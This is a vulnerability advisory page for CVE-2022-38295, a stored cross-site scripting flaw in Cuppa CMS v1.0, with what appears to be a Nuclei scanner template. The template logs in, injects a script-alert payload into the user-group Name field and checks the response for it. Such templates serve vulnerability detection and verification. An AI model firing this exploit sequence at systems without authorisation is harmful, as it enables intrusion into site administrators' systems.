CVE-2022-38295: Cuppa CMS v1.0 - Cross Site Scripting

2025-08-01 Cuppa CMS v1.0 PoC Public

Description

Cuppa CMS v1.0 was discovered to contain a cross-site scripting vulnerability at /table_manager/view/cu_user_groups. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field under the Add New Group function.

PoC

id: CVE-2022-38295

info:
  name: Cuppa CMS v1.0 - Cross Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Cuppa CMS v1.0 was discovered to contain a cross-site scripting vulnerability at /table_manager/view/cu_user_groups. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field under the Add New Group function.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To remediate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38295
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-38295
    cwe-id: CWE-79
    epss-score: 0.01375
    epss-percentile: 0.7063
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: cuppacms
    product: cuppacms
  tags: cve2022,cve,xss,cuppa,authenticated,cuppacms,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{password}}&language=en&task=login
      - |
        POST /components/table_manager/classes/functions.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        id_field=0&name_field="><script>alert(document.domain)</script>&admin_login_field=1&site_login_field=1&enabled_field=1&view=cu_user_groups&function=saveAdminTable
      - |
        POST /components/table_manager/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        path=component%2Ftable_manager%2Fview%2Fcu_user_groups&uniqueClass=

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - '"><script>alert(document.domain)</script>'
          - 'cuppa_html'
        condition: and

      - type: word
        part: header_3
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a00463044022036c9997a44d620aeb365dc81efa175c32a01d2918ce180e6575ef5903867b8d502205b3221b3133bdb4bbcf7ca4c58a29ef5f84b95aacd4310e7cd5b5e5d9a890f58:922c64590222798bb761d5b6d8e72950

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